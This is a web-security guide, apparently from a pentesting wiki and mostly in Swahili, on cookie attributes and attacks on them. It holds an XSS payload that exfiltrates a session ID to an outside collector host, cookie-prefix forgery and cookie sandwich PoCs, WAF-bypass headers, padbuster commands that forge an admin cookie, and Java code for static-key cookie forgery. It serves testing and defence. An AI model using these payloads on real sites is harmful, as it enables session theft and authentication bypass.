Cookies Hacking

Reading time: 20 minutes

Cookie Attributes

Cookies zina sifa kadhaa zinazoamua tabia zao katika kivinjari cha mtumiaji. Hapa kuna muhtasari wa sifa hizi kwa sauti ya kifafanuzi:

Expires and Max-Age

Tarehe ya kumalizika kwa cookie inaamuliwa na Expires attribute. Kwa upande mwingine, Max-age attribute inaelezea muda kwa sekunde kabla cookie ifutwe. Chagua Max-age kwa sababu inaonyesha mbinu za kisasa.

Domain

Hosts zitakazopokea cookie zinaelezewa na Domain attribute. Kwa default, hii imewekwa kwa host iliyotolewa cookie, bila kujumuisha subdomains zake. Hata hivyo, wakati Domain attribute imewekwa wazi, inajumuisha pia subdomains. Hii inafanya uteuzi wa Domain kuwa chaguo lisilo na vikwazo nyingi, muhimu kwa tukio ambapo kushirikiana kwa cookie kati ya subdomains kunahitajika. Kwa mfano, kuweka Domain=mozilla.org kunafanya cookies kupatikana kwenye subdomains zake kama developer.mozilla.org.

Path

Path attribute inaonyesha njia maalum ya URL ambayo lazima kuwepo katika URL iliyohitajika ili kichwa cha Cookie kitumwe. Attribute hii inazingatia tabia ya / kama mgawanyiko wa directory, na kuruhusu ulinganifu kwenye subdirectories pia.

Ordering Rules

Wakati cookies mbili zina jina sawa, ile inayochaguliwa kutumwa inategemea:

• Cookie inayofanana na path ndefu zaidi katika URL iliyohitajika.
• Cookie iliyowekwa hivi karibuni ikiwa path ni sawa.

SameSite

• SameSite attribute inaamua ikiwa cookies zitatumwa kwenye maombi yanayotoka kwa domain za tatu. Ina mipangilio mitatu:
• Strict: Inazuia cookie kutumwa kwenye maombi za watatu.
• Lax: Inaruhusu cookie kutumwa na maombi ya GET yanayoanzishwa na tovuti za watatu.
• None: Inaruhusu cookie kutumwa kutoka domain yoyote ya tatu.

Kumbuka, wakati unasanidi cookies, kuelewa sifa hizi kunaweza kusaidia kuhakikisha zinatenda kama inavyotarajiwa katika matukio tofauti.

Table from Invicti and slightly modified.
Cookie yenye SameSite attribute itapunguza CSRF attacks ambapo kikao kilichoingia kinakohitajika.

*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite attribute will be lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Kumbuka kwamba kwa muda mfupi, baada ya kutumika kwa mabadiliko haya, cookies without a SameSite policy katika Chrome zitatambuliwa kama treated as None kwa dakika 2 za kwanza na kisha kama Lax kwa top-level cross-site POST request.

Cookies Flags

HttpOnly

Hii inazuia client kupata cookie (kwa kutumia Javascript kwa mfano: document.cookie)

Bypasses

• Ikiwa ukurasa unatumia cookies kama response ya requests (kwa mfano kwenye ukurasa wa PHPinfo), inawezekana kutumia XSS kutuma ombi kwa ukurasa huu na kuiba cookies kutoka kwenye response (angalia mfano katika https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
• Hii inaweza kupitishwa kwa kutumia TRACE HTTP requests kwani response kutoka kwa server (kama njia hii ya HTTP inapatikana) itataja cookies zilizotumwa. Teknik hii inaitwa Cross-Site Tracking.
• Teknik hii imeepukika na modern browsers kwa kutoruhusu kutuma TRACE request kutoka JS. Hata hivyo, baadhi ya bypasses zimepatikana katika programu maalum kama kutuma \r\nTRACE badala ya TRACE kwa IE6.0 SP2.
• Njia nyingine ni eksploitishaji ya zero/day vulnerabilities za browsers.
• Inawezekana ku overwrite HttpOnly cookies kwa kufanya Cookie Jar overflow attack:

Cookie Jar Overflow

• Inawezekana kutumia Cookie Smuggling attack ku-exfiltrate hizi cookies
• Ikiwa endpoint yoyote ya server-side inaonyesha raw session ID katika HTTP response (kwa mfano, ndani ya HTML comments au debug block), unaweza bypass HttpOnly kwa kutumia XSS gadget kufetch endpoint hiyo, kutumia regex kupata siri, na kuiexfiltrate. Mfano wa pattern ya XSS payload:

// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Salama

Ombi litatuma cookie katika ombi la HTTP tu ikiwa ombi litatumwa kupitia kanal salama (kawaida HTTPS).

Viambishi awali vya Cookies

Cookies zilizo na kiambishi awali __Secure- zinahitajika kuwekwa pamoja na bendera secure kutoka kurasa zilizolindwa na HTTPS.

Kwa cookies zilizo na kiambishi awali __Host-, masharti kadhaa yanapaswa kutimizwa:

• Zinapaswa kuwekwa zikiwa na bendera secure.
• Zinapaswa kutoa kutoka kwenye ukurasa uliolindwa na HTTPS.
• Haraamishwa kubainisha domain, kuzuia usafirishaji wake kwa subdomains.
• Njia (path) kwa cookie hizi lazima iwe /.

Ni muhimu kutambua kwamba cookies zilizo na kiambishi awali __Host- haziruhusiwi kutumwa kwa superdomains au subdomains. Kizuizi hiki husaidia katika kutenganisha cookies za application. Kwa hivyo, kutumia kiambishi awali __Host- kwa cookies zote za application inaweza kuzingatiwa kama desturi nzuri kwa kuongeza usalama na kutenganishwa.

Kuandika upya cookies

Kwa hivyo, moja ya kinga ya cookies zilizo na kiambishi awali __Host- ni kuzuia ziandikwe upya kutoka kwa subdomains. Kuizuia, kwa mfano, Cookie Tossing attacks. Katika mazungumzo Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) ilioneshwa kuwa ilikuwa inawezekana kuweka __HOST- prefixed cookies kutoka subdomain, kwa kudanganya parser, kwa mfano, kwa kuongeza "=" mwanzoni au mwanzoni na mwishoni...:

Au katika PHP ilikuwa inawezekana kuongeza herufi nyingine mwanzoni ya jina la cookie ambazo zingewekwa kwa undani kuwa replaced by underscore characters, kuruhusu kuandika upya __HOST- cookies:

Unicode whitespace cookie-name smuggling (prefix forgery)

Tumia tofauti za ufasiri kati ya browser na server kwa kuweka alama ya nafasi ya Unicode mbele ya jina la cookie. Browser haitazingatia jina kuanza kwa literal __Host-/__Secure-, hivyo inaruhusu kuweka kutoka subdomain. Ikiwa backend inakata/inafanya normalization ya nafasi za Unicode zilizo mbele kwenye keys za cookie, itaona jina lililolindwa na inaweza kuandika upya cookie yenye cheo cha juu.

• PoC kutoka subdomain inayoweza kuweka parent-domain cookies:

document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;

• Tabia za kawaida za backend zinazowezesha tatizo:

• Frameworks ambazo zinakata/normalize vifunguo vya cookie. In Django, Python’s str.strip() huondoa anuwai ya Unicode whitespace code points, na kusababisha jina kurudishwa kuwa __Host-name.

• Code points zinazokatwa mara kwa mara ni pamoja na: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288).

• Frameworks nyingi zinatatua majina ya cookie yanayojirudia kwa “last wins”, hivyo thamani ya cookie iliyodhibitiwa na mshambuliaji baada ya normalization inaandika juu ya ile halali.

• Tofauti za browser zina umuhimu:

• Safari inazuia multibyte Unicode whitespace katika majina ya cookie (mf., inakataa U+2000) lakini bado inaruhusu single-byte U+0085 na U+00A0, ambazo backend nyingi hukata. Jaribu kwenye browsers tofauti.

• Athari: Inaruhusu kuandika juu ya cookies za __Host-/__Secure- kutoka muktadha usioaminika (subdomains), ambayo inaweza kusababisha XSS (ikiwa imeonekana), CSRF token override, na session fixation.

• Mfano on-the-wire vs mtazamo wa server (U+2000 ipo katika jina):

Cookie: __Host-name=Real;  __Host-name=<img src=x onerror=alert(1)>;

Backends nyingi hugawanya/kuparse kisha kukata nafasi, na kusababisha __Host-name iliyosanifishwa kuchukua thamani ya mshambulizi.

Ugawaji wa cookie wa Legacy $Version=1 kwenye Java backends (prefix bypass)

Baadhi ya Java stacks (mfano, Tomcat/Jetty-style) bado zinawezesha legacy RFC 2109/2965 parsing wakati Cookie header inaanza na $Version=1. Hii inaweza kusababisha server kutafsiri tena kamba moja ya cookie kama cookies nyingi za kimantiki na kukubali entry ya __Host- iliyoforodhwa ambayo awali ilikuwa imewekwa kutoka subdomain au hata juu ya origin isiyo salama.

• PoC forcing legacy parsing:

document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;

• Kwa nini inafanya kazi:

• Client-side prefix checks hufanyika wakati wa set, lakini server-side legacy parsing baadaye hugawa na ku-normalize header, ikipita nia ya dhamana za __Host-/__Secure- prefix guarantees.

• Mahali pa kujaribu: Tomcat, Jetty, Undertow, au frameworks ambazo bado zinaheshimu RFC 2109/2965 attributes. Changanya na duplicate-name overwrite semantics.

Primitive ya overwrite ya duplicate-name (last-wins)

Wakati kuki mbili zina-normalize kwa jina moja, backends nyingi (ikiwa pamoja na Django) hutumia tukio la mwisho. Baada ya smuggling/legacy-splitting kuzalisha majina mawili ya __Host-*, ile inayodhibitiwa na mshambuliaji kawaida itashinda.

Ugunduzi na zana

Tumia Burp Suite kuchunguza hali hizi:

• Jaribu multiple leading Unicode whitespace code points: U+2000, U+0085, U+00A0 na angalia kama backend inakata na kutendea jina kama lina prefix.
• Tuma $Version=1 kwanza katika Cookie header na angalia ikiwa backend inafanya legacy splitting/normalization.
• Angalia duplicate-name resolution (first vs last wins) kwa kuingiza kuki mbili ambazo zina-normalize kwa jina moja.
• Burp Custom Action ili kuiendesha kwa otomatiki: CookiePrefixBypass.bambda

Tip: Mbinu hizi zinatumia pengo la RFC 6265’s octet-vs-string: browsers hutuma bytes; servers hufaidi udekodi na zinaweza ku-normalize/akata. Kutofautiana kwa udekodi na normalization ndiyo msingi wa bypass.

Mashambulizi ya Cookies

Ikiwa kuki maalum ina data nyeti, angalia (hasa ukicheza CTF), kwani inaweza kuwa dhaifu.

Kufasiri na Kubadilisha Cookies

Data nyeti iliyowekwa ndani ya cookies inapaswa kusuzumwa kila wakati. Cookies zilizofumwa kwa Base64 au fomati zinazofanana mara nyingi zinaweza kufasiriwa. Udhaifu huu unamruhusu mshambuliaji kubadilisha yaliyomo kwenye kuki na kujifanya watumiaji wengine kwa kuweka tena data iliyorekebishwa ndani ya kuki.

Session Hijacking

Shambulio hili linahusisha kuiba kuki ya mtumiaji ili kupata ufikiaji usioidhinishwa kwenye akaunti yao ndani ya application. Kwa kutumia kuki iliyochukuliwa, mshambuliaji anaweza kujifanya mtumiaji halali.

Session Fixation

Kwenye hali hii, mshambuliaji anamdanganya mhusika kutumia kuki maalumu kuingia. Ikiwa application haitoi kuki mpya wakati wa kuingia, mshambuliaji mwenye kuki asili anaweza kujifanya mhusika. Mbinu hii inategemea mhusika kuingia akiwa na kuki iliyotolewa na mshambuliaji.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

Session Donation

Hapa, mshambuliaji anamshawishi mhusika kutumia kuki ya session ya mshambuliaji. Mhusika, akidhani wameingia kwenye akaunti yao wenyewe, atafanya vitendo bila kukusudia katika muktadha wa akaunti ya mshambuliaji.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

JWT Cookies

Click on the previous link to access a page explaining possible flaws in JWT.

JSON Web Tokens (JWT) zinazotumika katika cookies pia zinaweza kuwa na udhaifu. Kwa maelezo ya kina kuhusu mapungufu yanayoweza kuwepo na jinsi ya kuyatumia, inashauriwa kusoma dokumenti iliyo kwenye kiungo kuhusu hacking JWT.

Cross-Site Request Forgery (CSRF)

Shambulio hili linamfanya mtumiaji aliyeingia kuendesha vitendo visivyotakikana kwenye web application ambako wao wameidhinishwa. Washambuliaji wanaweza kutumia cookies ambazo zinatumwa moja kwa moja na kila ombi kwa tovuti iliyo hatarini.

Empty Cookies

(Check further details in theoriginal research) Browsers zinaruhusu uundaji wa cookies bila jina, ambayo inaweza kuonyeshwa kupitia JavaScript kama ifuatavyo:

document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

Matokeo katika sent cookie header ni a=v1; test value; b=v2;. Kwa kushangaza, hii inawezesha kuingilia cookies ikiwa cookie yenye jina tupu imetengwa, na inawezekana kudhibiti cookies nyingine kwa kuweka cookie tupu kwa thamani maalum:

function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

Hii husababisha browser kutuma cookie header ambayo inatafsiriwa na kila web server kama cookie yenye jina a na thamani b.

Chrome Bug: Unicode Surrogate Codepoint Issue

Katika Chrome, ikiwa Unicode surrogate codepoint iko sehemu ya set cookie, document.cookie inaharibika, ikirudisha empty string baadae:

document.cookie = "\ud800=meep"

Hii husababisha document.cookie kurudisha string tupu, ikionyesha uharibifu wa kudumu.

Cookie Smuggling kutokana na matatizo ya parsing

(Angalia maelezo zaidi katika original research) Seva kadhaa za wavuti, pamoja na zile za Java (Jetty, TomCat, Undertow) na Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), zinashughulikia vibaya cookie strings kutokana na msaada wa RFC2965 uliotoka zamani. Zinawasoma cookie value iliyofungwa kwa nukuu mbili kama value moja hata kama ina semicolons, ambazo kwa kawaida zinapaswa kutenganisha key-value pairs:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

Udhaifu wa Kuingiza cookie

(Angalia maelezo zaidi katika theoriginal research) Uchambuzi usio sahihi wa cookie na seva, hasa Undertow, Zope, na zile zinazotumia Python's http.cookie.SimpleCookie na http.cookie.BaseCookie, unatoa fursa za mashambulizi ya cookie injection. Seva hizi hazitenganishi vyema kuanza kwa cookie mpya, na kuruhusu wawashambuliaji kusababisha cookie za kuigiza:

• Undertow inatarajia cookie mpya mara moja baada ya value iliyowekwa ndani ya nukuu bila semicolon.
• Zope inatafuta coma kuanza kuchambua cookie inayofuata.
• Madarasa ya cookie ya Python huanza kuchambua kwenye tabia ya nafasi (space).

Udhaifu huu ni hatari hasa katika web applications zinazoendeshwa kwa ulinzi wa CSRF iliyotegemea cookie, kwa sababu unaruhusu wawashambuliaji kuingiza cookie za kuigiza za CSRF-token, na hivyo kupita hatua za usalama. Tatizo linaongezeka kwa jinsi Python inavyoshughulikia majina ya cookie yaliyojirudia, ambapo cha mwisho kinabwaga yale ya awali. Pia linasababisha wasiwasi kwa __Secure- na __Host- cookies katika muktadha usio salama na linaweza kusababisha bypass ya idhini pale cookie zinapotumwa kwa back-end servers zilizo dhaifu kwa spoofing.

Cookies $version

WAF Bypass

According to this blogpost, inaweza kuwa inawezekana kutumia mali ya cookie $Version=1 kufanya backend itumie mantiki ya zamani ya kuchambua cookie kutokana na RFC2109. Zaidi ya hayo, thamani nyingine kama $Domain na $Path zinaweza kutumika kubadilisha tabia ya backend kwa cookie.

Cookie Sandwich Attack

According to this blogpost inawezekana kutumia cookie sandwich technique kunakili HttpOnly cookies. Hapa chini ni mahitaji na hatua:

• Tafuta sehemu ambapo cookie inayoweza kuonekana kama isiyo na matumizi inareflektwa kwenye response
• Create a cookie called $Version yenye value 1 (unaweza kufanya hili kwa XSS kutoka JS) na path maalum ili ipate nafasi ya kwanza (miundo fulani kama python hawahitaji hatua hii)
• Create the cookie that is reflected yenye value inayowacha alama za nukuu mbili wazi na path maalum ili ipangwe katika cookie db baada ya ile ya awali ($Version)
• Kisha, cookie halali itakuja ifuatayo kwa mpangilio
• Create a dummy cookie that closes the double quotes ndani ya value yake

Kwa njia hii cookie ya mwathirika inashikwa ndani ya cookie mpya version 1 na itaonekana kila inaporeflektwa. e.g. from the post:

document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

Angalia sehemu iliyopita.

Bypassing value analysis with quoted-string encoding

Uchambuzi huu unaonyesha kufuta escaping ya values zilizokimbizwa ndani ya cookies, hivyo "\a" inakuwa "a". Hii inaweza kuwa muhimu ku-bypass WAFS kama:

• eval('test') => forbidden
• "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

Bypassing cookie-name blocklists

Katika RFC2109 imeelezwa kwamba comma can be used as a separator between cookie values. Pia inawezekana kuongeza spaces and tabs before an after the equal sign. Kwa hiyo cookie kama $Version=1; foo=bar, abc = qux haiitaji kutoa cookie "foo":"bar, admin = qux" bali cookies foo":"bar" na "admin":"qux". Angalia jinsi cookies 2 zinavyotengenezwa na jinsi "admin" alipopokelewa bila nafasi kabla na baada ya alama ya sawa.

Bypassing value analysis with cookie splitting

Mwishowe backdoors mbalimbali zingeunganisha katika string cookies tofauti zilizotumwa katika cookie headers tofauti, kama ifuatavyo:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

Ambayo inaweza kuruhusu kuipita WAF kama katika mfano huu:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Ukaguzi wa ziada wa cookies zilizo hatarishi

Ukaguzi wa Msingi

• cookie ni ile ile kila wakati unapo login.
• Log out na jaribu kutumia cookie ile ile.
• Jaribu log in kwa vifaa 2 (au browsers) kwenye akaunti ile ile ukitumia cookie ile ile.
• Angalia kama cookie ina taarifa yoyote ndani yake na jaribu kuibadilisha.
• Jaribu kuunda akaunti kadhaa zenye username karibu sawa na angalia kama unaweza kuona mfanano.
• Angalia chaguo la "remember me" ikiwa lipo ili kuona jinsi linavyofanya kazi. Ikiwa lipo na linaweza kuwa hatarishi, tumia daima cookie ya remember me bila cookie nyingine yoyote.
• Angalia kama cookie ya awali inafanya kazi hata baada ya kubadilisha password.

Mashambulizi ya cookies ya juu

Ikiwa cookie inaendelea kuwa ile ile (au karibu) unapo log in, hii ina maana kuwa cookie inaweza kuhusishwa na sehemu fulani ya akaunti yako (labda username). Kisha unaweza:

• Jaribu kuunda akaunti nyingi zenye username zinazofanana sana na jaribu kisia jinsi algorithm inavyofanya kazi.
• Jaribu bruteforce the username. Ikiwa cookie inahifadhiwa kama njia ya uthibitisho tu kwa username yako, basi unaweza kuunda akaunti yenye username "Bmin" na bruteforce kila bit ya cookie yako kwa sababu moja ya cookies utakazojaribu itakuwa ile inayomilikiwa na "admin".
• Jaribu Padding Oracle (utaweza ku-decrypt maudhui ya cookie). Tumia padbuster.

Padding Oracle - Mifano za Padbuster

padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster itafanya majaribio kadhaa na itakuuliza ni hali gani ndiyo hali ya hitilafu (ile ambayo si halali).

Kisha itaanza decrypting the cookie (inaweza kuchukua dakika kadhaa)

Kama attack imefanikiwa kutekelezwa, basi unaweza kujaribu encrypt string ya chaguo lako. Kwa mfano, kama ungetaka encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

Utekelezaji huu utakupa cookie iliyofichwa na iliyokodishwa kwa usahihi ikiwa na user=administrator ndani.

CBC-MAC

Labda cookie inaweza kuwa na thamani fulani na inaweza kusainiwa kwa kutumia CBC. Kisha, uthabiti wa thamani hiyo ni saini iliyotengenezwa kwa kutumia CBC na thamani ile ile. Kwa kuwa inapendekezwa kutumia kama IV null vector, aina hii ya ukaguzi wa uthabiti inaweza kuwa dhaifu.

The attack

1. Pata saini ya username administ = t
2. Pata saini ya username rator\x00\x00\x00 XOR t = t'
3. Weka kwenye cookie thamani administrator+t' (t' itakuwa saini halali ya (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00

ECB

Ikiwa cookie imefichwa kwa kutumia ECB inaweza kuwa dhaifu.
Unapoingia cookie unayopokea inapaswa kuwa ile ile kila wakati.

Jinsi ya kugundua na kushambulia:

Unda watumiaji 2 wenye data karibu sawa (username, password, email, n.k.) na jaribu kugundua muundo ndani ya cookie uliotolewa

Unda mtumiaji aliyeitwa kwa mfano "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" na angalia kama kuna muundo wowote katika cookie (kwa kuwa ECB inafanya encryption kwa ufunguo uleule kwa kila block, same encrypted bytes zinaweza kuonekana ikiwa username imefichwa).

Kutakuwa na muundo (kwa ukubwa wa block iliyotumika). Kwa hivyo, ukijua jinsi kundi la "a" linavyofichwa unaweza kuunda username: "a"*(size of the block)+"admin". Kisha, unaweza kufuta muundo uliodhibitiwa wa block ya "a" kutoka cookie. Na utakuwa na cookie ya username "admin".

Static-key cookie forgery (symmetric encryption of predictable IDs)

Some applications mint authentication cookies by encrypting only a predictable value (e.g., the numeric user ID) under a global, hard-coded symmetric key, then encoding the ciphertext (hex/base64). If the key is static per product (or per install), anyone can forge cookies for arbitrary users offline and bypass authentication.

How to test/forge

• Identify the cookie(s) that gate auth, e.g., COOKIEID and ADMINCOOKIEID.
• Determine cipher/encoding. In one real-world case the app used IDEA with a constant 16-byte key and returned the ciphertext as hex.
• Verify by encrypting your own user ID and comparing with the issued cookie. If it matches, you can mint cookies for any target ID (1 often maps to the first admin).
• Set the forged value directly as the cookie and browse; no credentials are needed.

import cryptix.provider.cipher.IDEA;
import cryptix.provider.key.IDEAKeyGenerator;
import cryptix.util.core.Hex;
import java.security.Key;
import java.security.KeyException;
import java.io.UnsupportedEncodingException;

public class App {
private String ideaKey = "1234567890123456"; // example static key

public String encode(char[] plainArray) { return encode(new String(plainArray)); }

public String encode(String plain) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA encrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
encrypt.initEncrypt(key);
} catch (KeyException e) { return null; }
if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) {
for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) {
plain = plain + " "; // space padding
}
}
byte[] encrypted = encrypt.update(plain.getBytes());
return Hex.toString(encrypted); // cookie expects hex
}

public String decode(String chiffre) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA decrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
decrypt.initDecrypt(key);
} catch (KeyException e) { return null; }
byte[] decrypted = decrypt.update(Hex.fromString(chiffre));
try { return new String(decrypted, "ISO_8859-1").trim(); } catch (UnsupportedEncodingException e) { return null; }
}

public void setKey(String key) { this.ideaKey = key; }
}

Marejeo

• When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
• https://blog.ankursundara.com/cookie-bugs/
• https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd
• https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
• https://seclists.org/webappsec/2006/q2/181
• https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it
• https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
• Cookie Chaos: How to bypass __Host and __Secure cookie prefixes
• Burp Custom Action – CookiePrefixBypass.bambda